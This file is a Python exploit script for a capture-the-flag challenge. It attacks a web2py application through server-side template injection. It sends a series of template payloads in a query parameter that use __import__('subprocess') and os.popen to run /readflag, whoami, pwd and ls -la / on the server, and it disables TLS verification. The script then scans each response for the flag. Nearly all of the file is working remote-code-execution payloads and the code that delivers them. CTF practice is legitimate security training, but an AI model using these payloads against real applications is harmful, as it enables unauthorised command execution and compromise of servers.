#!/usr/bin/env python3
"""
Web2py SSTI RCE Exploit
Executes /readflag to retrieve the flag
"""

import requests
import urllib3
import urllib.parse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def test_rce_payload(payload, description):
    """Test an RCE payload"""
    print(f"\n[>] Testing: {description}")
    print(f"    Payload: {payload}")
    
    try:
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        print(f"    Status: {response.status_code}")
        
        # Look for flag pattern
        if "uoftctf{" in response.text:
            print(f"\n[!!!] FLAG FOUND!")
            # Extract the flag
            import re
            flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
            for flag in flags:
                print(f"\n{'='*60}")
                print(f"FLAG: {flag}")
                print(f"{'='*60}\n")
            
            # Save the response
            with open("FLAG_RESPONSE.html", "w", encoding="utf-8") as f:
                f.write(response.text)
            return True
        
        # Look for any output in the response
        # Search for our payload result in various contexts
        print(f"    Response length: {len(response.text)} bytes")
        
        # Save response for analysis
        safe_desc = description.replace(" ", "_").replace("/", "_")
        with open(f"response_{safe_desc}.html", "w", encoding="utf-8") as f:
            f.write(response.text)
        print(f"    Saved to: response_{safe_desc}.html")
        
        return False
        
    except Exception as e:
        print(f"    Error: {e}")
        return False

def exploit():
    """Try various RCE payloads"""
    print("="*60)
    print("Web2py SSTI to RCE Exploitation")
    print("="*60)
    
    # Various RCE payloads
    payloads = [
        # Direct subprocess execution
        ("{{=__import__('subprocess').check_output(['/readflag'])}}", "subprocess.check_output"),
        
        # With decode
        ("{{=__import__('subprocess').check_output(['/readflag']).decode()}}", "subprocess with decode"),
        
        # Using os.popen
        ("{{=__import__('os').popen('/readflag').read()}}", "os.popen"),
        
        # Using subprocess.run
        ("{{=__import__('subprocess').run(['/readflag'], capture_output=True).stdout.decode()}}", "subprocess.run"),
        
        # Alternative subprocess
        ("{{=__import__('subprocess').getoutput('/readflag')}}", "subprocess.getoutput"),
        
        # Try with shell=True
        ("{{=__import__('subprocess').check_output('/readflag', shell=True).decode()}}", "subprocess with shell"),
        
        # Using exec (might not return output directly)
        ("{{exec('import subprocess; print(subprocess.check_output([\"/readflag\"]).decode())')}}", "exec approach"),
    ]
    
    for payload, description in payloads:
        if test_rce_payload(payload, description):
            print("\n[SUCCESS] Flag retrieved!")
            return True
    
    print("\n[*] None of the payloads directly returned the flag.")
    print("[*] Check the saved response files for any command output.")
    return False

def test_command_execution():
    """Test if we can execute commands at all"""
    print("\n" + "="*60)
    print("Testing Basic Command Execution")
    print("="*60)
    
    # Test with simple commands first
    simple_tests = [
        ("{{=__import__('os').popen('whoami').read()}}", "whoami"),
        ("{{=__import__('os').popen('pwd').read()}}", "pwd"),
        ("{{=__import__('os').popen('ls -la /').read()}}", "ls root"),
        ("{{=__import__('os').listdir('/')}}", "listdir root"),
    ]
    
    for payload, description in simple_tests:
        print(f"\n[>] Testing: {description}")
        print(f"    Payload: {payload}")
        
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        # Look for common directory entries or user names
        indicators = ["root", "bin", "etc", "www-data", "readflag", "flag"]
        found = []
        for indicator in indicators:
            if indicator in response.text.lower():
                found.append(indicator)
        
        if found:
            print(f"    [!] Found indicators: {found}")
            # Show some context
            for indicator in found[:2]:  # Show first 2
                idx = response.text.lower().find(indicator)
                print(f"    Context: ...{response.text[max(0,idx-50):idx+100]}...")

if __name__ == "__main__":
    # First test basic command execution
    test_command_execution()
    
    print("\n\n")
    
    # Then try to get the flag
    exploit()
